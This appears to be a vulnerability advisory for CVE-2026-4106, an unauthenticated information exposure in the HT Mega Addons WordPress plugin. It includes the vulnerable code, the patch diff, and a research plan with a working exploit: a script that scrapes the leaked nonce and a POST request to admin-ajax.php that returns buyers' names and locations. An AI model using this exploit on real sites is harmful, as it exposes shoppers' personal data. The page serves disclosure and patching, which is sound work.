CVE-2026-4106

HT Mega Addons for Elementor – Elementor Widgets & Template Builder < 3.0.7 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.0.7
Patched in
7d
Time to patch

Description

The HT Mega Addons for Elementor – Elementor Widgets & Template Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to 3.0.7 (exclusive). This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<3.0.7
PublishedApril 24, 2026
Last updatedApril 30, 2026
Affected pluginht-mega-for-elementor

What Changed in the Fix

Changes introduced in v3.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-4106 - HT Mega Addons for Elementor Unauthenticated Information Exposure ## 1. Vulnerability Summary The **HT Mega Addons for Elementor** plugin (versions < 3.0.7) is vulnerable to **Unauthenticated Information Exposure** through its WooCommerce Sales Notification feature.…

Show full research plan

Research Plan: CVE-2026-4106 - HT Mega Addons for Elementor Unauthenticated Information Exposure

1. Vulnerability Summary

The HT Mega Addons for Elementor plugin (versions < 3.0.7) is vulnerable to Unauthenticated Information Exposure through its WooCommerce Sales Notification feature. The plugin registers an AJAX action wcsales_purchased_products that is accessible to unauthenticated users via wp_ajax_nopriv_. This endpoint returns sensitive data from recent WooCommerce orders, including the buyer's first name, last name, city, state, and country. Although a WordPress nonce is used for verification, the nonce is leaked in the footer of every frontend page, rendering the protection ineffective against unauthenticated attackers.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wcsales_purchased_products
  • Parameter: security (Nonce)
  • Authentication: Unauthenticated (nopriv)
  • Preconditions:
    1. WooCommerce must be installed and active.
    2. At least one WooCommerce order must exist (status: completed, pending, processing, or on-hold).
    3. The "Sales Notification" extension in HT Mega must be enabled (often enabled by default or via the plugin settings).

3. Code Flow

  1. Registration: In extensions/wc-sales-notification/classes/class.sale_notification.php, the __construct method registers the AJAX handlers:
    add_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] );
    add_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] );
    
  2. Nonce Exposure: The same class hooks ajax_request to wp_footer:
    add_action( 'wp_footer', [ $this, 'ajax_request' ] );
    
    Inside ajax_request(), the nonce is created and printed directly into a <script> block:
    $ajax_nonce = wp_create_nonce( "wcsales-ajax-request" );
    // ...
    var data = {
        action: 'wcsales_purchased_products',
        security: '<?php echo esc_js( $ajax_nonce ); ?>',
        whatever: 1234
    };
    
  3. Data Retrieval: When the AJAX action is called, purchased_products() is executed. It calls check_ajax_referer('wcsales-ajax-request', 'security').
  4. Order Exposure: If the nonce is valid, the function queries for orders:
    $args = array(
        'post_type' => 'shop_order',
        'post_status' => 'wc-completed, wc-pending, wc-processing, wc-on-hold',
        // ...
    );
    $posts = get_posts( $args );
    
  5. Buyer Info Extraction: For each order, purchased_buyer_info() extracts billing or shipping details:
    $buyerinfo = array(
        'fname' => ... $address['first_name'] ...,
        'lname' => ... $address['last_name'] ...,
        'city' => ... $address['city'] ...,
        'state' => ... $address['state'] ...,
        'country' => ... WC()->countries->countries[$address['country']] ...,
    );
    
  6. Output: The data is returned as a JSON array to the unauthenticated requester.

4. Nonce Acquisition Strategy

The nonce is not passed via wp_localize_script but is instead printed as a raw JavaScript variable inside the wp_footer hook.

  1. Navigate: Use browser_navigate to go to the WordPress homepage.
  2. Extract: Use browser_eval to extract the security nonce from the inline script. Since the variable is defined inside a jQuery ready block and not on the global window object, the most reliable way is to parse the page source or use a regex on the script tags.
  3. Regex Approach:
    // Inside browser_eval
    const scripts = Array.from(document.getElementsByTagName('script'));
    const targetScript = scripts.find(s => s.innerText.includes('wcsales_purchased_products'));
    if (targetScript) {
        const match = targetScript.innerText.match(/security:\s*'([a-f0-9]{10})'/);
        return match ? match[1] : null;
    }
    
  4. Action String: The nonce action is "wcsales-ajax-request".

5. Exploitation Strategy

  1. Target: /wp-admin/admin-ajax.php
  2. Method: POST
  3. Headers: Content-Type: application/x-www-form-urlencoded
  4. Payload:
    action=wcsales_purchased_products&security=[EXTRACTED_NONCE]
    
  5. Request Execution: Use the http_request tool.
  6. Data Processing: Parse the JSON response. A successful exploit will return an array of objects, each containing a buyer key with fname, lname, city, state, and country.

6. Test Data Setup

  1. Install WooCommerce: Ensure WooCommerce is active.
  2. Create Order: Use WP-CLI to create a dummy order with PII:
    # Create a customer/order with identifiable info
    # Note: Orders in WC are 'shop_order' post types
    ORDER_ID=$(wp post create --post_type=shop_order --post_status=wc-completed --post_title="Order" --porcelain)
    
    # Add billing information (PII)
    wp post meta update $ORDER_ID _billing_first_name "John"
    wp post meta update $ORDER_ID _billing_last_name "Doe"
    wp post meta update $ORDER_ID _billing_city "Beverly Hills"
    wp post meta update $ORDER_ID _billing_state "CA"
    wp post meta update $ORDER_ID _billing_country "US"
    
  3. Enable Extension: Ensure the Sales Notification extension is enabled in HT Mega. (Check wp option get htmega_settings or similar if the plugin stores settings there).

7. Expected Results

  • The response should be a JSON array (Status 200 OK).
  • Each entry in the array should look like this:
    {
        "id": 123,
        "name": "Product Name",
        "url": "http://...",
        "date": "2024-...",
        "image": "...",
        "price": "$...",
        "buyer": {
            "fname": "John",
            "lname": "Doe",
            "city": "Beverly Hills",
            "state": "CA",
            "country": "United States (US)"
        }
    }
    

8. Verification Steps

  1. Check Output: Verify that the fname and lname in the HTTP response match the "John" and "Doe" strings set via WP-CLI.
  2. Confirm Nonce Dependency: Attempt the request again with an invalid security parameter (e.g., security=1234567890). The server should return 403 Forbidden or -1 (default WordPress AJAX error).

9. Alternative Approaches

If the extension is not active by default, it may be necessary to manually activate it through the HT Mega settings panel. This can be done via wp option update if the option name is known (likely htmega_settings or a similar key containing a serialized array of enabled modules).

If wp_footer is not being triggered (e.g., on certain themes), try navigating to a specific product page or a page containing an Elementor widget from HT Mega to force the plugin's components to load.

Research Findings
Static analysis — not yet PoC-verified

Summary

The HT Mega Addons for Elementor plugin (versions < 3.0.7) exposes sensitive WooCommerce customer information (PII) to unauthenticated attackers. The vulnerability occurs because the 'Sales Notification' feature registers an AJAX endpoint accessible to unauthenticated users and leaks the required security nonce in the public frontend footer, allowing attackers to download order history including buyer names and locations.

Vulnerable Code

// extensions/wc-sales-notification/classes/class.sale_notification.php:19
add_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] );
add_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] );

---

// extensions/wc-sales-notification/classes/class.sale_notification.php:115
function ajax_request() {
    // ... (truncated)
    $ajax_nonce = wp_create_nonce( "wcsales-ajax-request" );
    ?>
        <script>
            jQuery( document ).ready( function( $ ) {
                // ... (truncated)
                var data = {
                    action: 'wcsales_purchased_products',
                    security: '<?php echo esc_js( $ajax_nonce ); ?>',
                    whatever: 1234
                };

---

// extensions/wc-sales-notification/classes/class.sale_notification.php:91
private function purchased_buyer_info( $order ){
    $address = $order->get_address( 'billing' );
    if( !isset( $address['city'] ) || empty( $address['city'] ) ){
        $address = $order->get_address( 'shipping' );
    }
    $buyerinfo = array(
        'fname' => isset( $address['first_name'] ) && !empty( $address['first_name'] ) ? ucfirst( $address['first_name'] ) : '',
        'lname' => isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? ucfirst( $address['last_name'] ) : '',
        'city' => isset( $address['city'] ) && !empty( $address['city'] ) ? ucfirst( $address['city'] ) : '',
        'state' => isset( $address['state'] ) && !empty( $address['state'] ) ? ucfirst( $address['state'] ) : '',
        'country' =>  isset( $address['country'] ) && !empty( $address['country'] ) ? WC()->countries->countries[$address['country']] : '',
    );
    return $buyerinfo;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ht-mega-for-elementor/3.0.6/extensions/wc-sales-notification/classes/class.sale_notification.php /home/deploy/wp-safety.org/data/plugin-versions/ht-mega-for-elementor/3.0.7/extensions/wc-sales-notification/classes/class.sale_notification.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ht-mega-for-elementor/3.0.6/extensions/wc-sales-notification/classes/class.sale_notification.php	2024-07-01 09:10:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ht-mega-for-elementor/3.0.7/extensions/wc-sales-notification/classes/class.sale_notification.php	2026-03-25 08:43:54.000000000 +0000
@@ -60,10 +60,8 @@
                     if( !empty( $product ) ){
                         preg_match( '/src="(.*?)"/', $product->get_image( 'thumbnail' ), $imgurl );
                         $p = array(
-                            'id'    => $first_item['order_id'],
                             'name'  => $product->get_title(),
                             'url'   => $product->get_permalink(),
-                            'date'  => $post->post_date_gmt,
                             'image' => count($imgurl) === 2 ? $imgurl[1] : null,
                             'price' => $this->purchased_productprice( $check_wc_version ? $product->get_display_price() : wc_get_price_to_display( $product ) ),
                             'buyer' => $this->purchased_buyer_info( $order )
@@ -99,12 +97,22 @@
         if( !isset( $address['city'] ) || empty( $address['city'] ) ){
             $address = $order->get_address( 'shipping' );
         }
+
+        $show_buyer_name = ( htmega_get_option( 'show_buyer_name', 'htmegawcsales_setting_tabs', 'off' ) === 'on' );
+        $show_city       = ( htmega_get_option( 'show_city',       'htmegawcsales_setting_tabs', 'off' ) === 'on' );
+        $show_state      = ( htmega_get_option( 'show_state',      'htmegawcsales_setting_tabs', 'off' ) === 'on' );
+        $show_country    = ( htmega_get_option( 'show_country',    'htmegawcsales_setting_tabs', 'off' ) === 'on' );
+
+        // When buyer name is enabled, expose first name + last initial only (never full last name).
+        $lname_raw     = isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? $address['last_name'] : '';
+        $lname_initial = !empty( $lname_raw ) ? strtoupper( substr( $lname_raw, 0, 1 ) ) . '.' : '';
+
         $buyerinfo = array(
-            'fname' => isset( $address['first_name'] ) && !empty( $address['first_name'] ) ? ucfirst( $address['first_name'] ) : '',
-            'lname' => isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? ucfirst( $address['last_name'] ) : '',
-            'city' => isset( $address['city'] ) && !empty( $address['city'] ) ? ucfirst( $address['city'] ) : '',
-            'state' => isset( $address['state'] ) && !empty( $address['state'] ) ? ucfirst( $address['state'] ) : '',
-            'country' =>  isset( $address['country'] ) && !empty( $address['country'] ) ? WC()->countries->countries[$address['country']] : '',
+            'fname'   => ( $show_buyer_name && !empty( $address['first_name'] ) ) ? ucfirst( $address['first_name'] ) : '',
+            'lname'   => ( $show_buyer_name && !empty( $lname_initial ) )         ? $lname_initial                    : '',
+            'city'    => ( $show_city    && !empty( $address['city'] ) )           ? ucfirst( $address['city'] )       : '',
+            'state'   => ( $show_state   && !empty( $address['state'] ) )          ? ucfirst( $address['state'] )      : '',
+            'country' => ( $show_country && !empty( $address['country'] ) )        ? WC()->countries->countries[ $address['country'] ] : '',
         );
         return $buyerinfo;
     }

Exploit Outline

The exploit targets the WooCommerce Sales Notification feature in HT Mega Addons for Elementor. 1. **Nonce Retrieval**: An unauthenticated attacker visits the site's homepage and inspects the HTML source. They search for a script tag containing the string 'wcsales_purchased_products' to locate the 'security' nonce variable printed by the `ajax_request` function in `class.sale_notification.php`. 2. **AJAX Request**: The attacker sends an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the parameters `action=wcsales_purchased_products` and `security=[EXTRACTED_NONCE]`. 3. **Data Extraction**: The server validates the nonce and, because the action is registered via `wp_ajax_nopriv_`, processes the request. It queries recent WooCommerce orders and returns a JSON response containing the full first name, last name, city, state, and country of the buyers from the most recent orders (up to the limit defined in settings, typically 5).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.